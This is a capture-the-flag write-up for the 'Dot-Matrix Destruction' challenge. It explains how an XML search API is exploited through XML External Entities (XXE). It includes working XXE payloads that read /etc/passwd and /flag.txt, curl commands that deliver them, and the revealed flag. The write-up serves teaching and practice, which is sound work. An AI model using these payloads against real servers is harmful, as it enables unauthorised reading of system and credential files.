Flash CTF – Dot-Matrix Destruction

Summary

This is an XXE (XML External Entity) challenge. The API uses XML, and vulnerable XML parser implementations support a weird feature where you can include the contents of arbitrary files on the disk.

Detailed Process

Open up the website (http://dotmatrixdestruction.chals.mctf.io/). Bask in the retro, dithered theme.

Recon / Analyzing the Webpage

After a quick glance, it’s a reasonable assumption that the challenge will be related to the Search feature near the bottom of the page (there are no other pages linked on this website, and this is the only dynamic element). It seems we can enter a search query and a country and get a list of the relevant products available for purchase in that country. Let’s pop open the page source to see how it works.

The page source is quite short and simple, fitting on one screen. The query feature is just a standard HTML form that calls a Javascript function on submission. Let’s peek at the Javascript. http://dotmatrixdestruction.chals.mctf.io/static/app.js

Well, the JS is also pretty simple. It takes in our inputs from the form fields, turns the country name into a 2-letter country code, templates it into what looks to be XML:

<query>
    <search>${search_str}</search>
    <country>${country}</country>
</query>

… and submits it via fetch("/api/search_printers", { method: "POST", body: submit }) where submit is the XML above. Then the result of that HTTP request is parsed as XML and used to populate the HTML table of results.

It seems reasonable to assume that the challenge is about attacking that API endpoint. Let’s play with it a bit. Open the Network tab of your browser developer tools, and submit a query. Look at the request body and the XML the server responds with. Right-click one of the requests and Copy > Copy as cURL and paste it into a command prompt (assuming you have curl installed; you can do a similar thing with Powershell). The point of doing this is just because it’s easier to play around with the API endpoint like this. You can also use Burpsuite, fetch(), Python requests, or such if you want.

After some stripping down to remove all except the necessary headers, we can use a cURL statement like this:

curl 'http://dotmatrixdestruction.chals.mctf.io/api/search_printers' -X POST -H 'Content-Type: text/plain' --data-raw $'<query><search>doc</search><country>US</country></query>'

To get responses like this:

<products>
  <product id="3106" name="DOCTYPE DocFlow 5" price="$ 320.99"/>
  <product id="2490" name="DOCTYPE DocFlow 5 Eco" price="$ 325.99"/>
</products>

Fiddle around with all the parameters in the request body. Invalid XML will result in a 500 Internal Server Error; not super useful. It doesn’t look like typical SQL injection characters, escaped or not, accomplish anything. An invalid country code will give us <error>The country code blah is not a recognized country code.</error>. Of note, this seems to be the only obvious way to make the API return an <error> (instead of a 500). Perhaps we’re on the right track there. But let’s digress for a second.

Why XML?

Everything about this website seems pretty typical and standard except for the use of XML in the API. That’s not really a common choice these days (JSON is much more popular) and it doesn’t really look like a SOAP API either. It’s some handcrafted XML thing.

Also remember the goal, as stated in the description: To get /flag.txt off of the filesystem.

Let’s start Googling XML vulnerabilities. There’s a whole zoo of minor ones, but pretty soon, on pages like this and this (first two results on Google), we’ll start seeing references to “XML External Entities”, or “XXE”. That term will also show up directly in the Google results for “XML vulnerabilities”, and you might notice some hints in the challenge – XXErox Printers, the printers are named after stuff like ENTITY and SYSTEM…

What’s XXE? The linked documents might explain it better, but effectively, in XML, you can define an ENTITY, and using the SYSTEM keyword, make it refer to the contents of a file on the disk. For example, payloads like this one will cause the XML parser to read the contents of /etc/passwd and place it into the <foo> tag.

<?xml version="1.0" ?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Crafting an Attack

Given all the hints in the website, you can be pretty confident it’s an XXE vulnerability. But even if we can make the server include /flag.txt in our input, that’s of no help to us, we want it to include it in the output it gives us. But remember:

An invalid country code will give us <error>The country code blah is not a recognized country code.</error>.

It seems that when we trigger that error, some of our input is echoed back to us. Let’s try crafting an attack where the contents of /flag.txt are supplied as the “country code”.

curl 'http://dotmatrixdestruction.chals.mctf.io/api/search_printers' -X POST -H 'Content-Type: text/plain' --data-raw $'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><query><search></search><country>&xxe;</country></query>'

And we get…

<error>The country code MetaCTF{y3ah_xxe_d0e5_r0ck_d0esnt_it?} is not a recognized country code.</error>

And there’s our flag. Here’s our cleaned-up attack payload, for clarity.

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<query>
    <search></search>
    <country>&xxe;</country>
</query>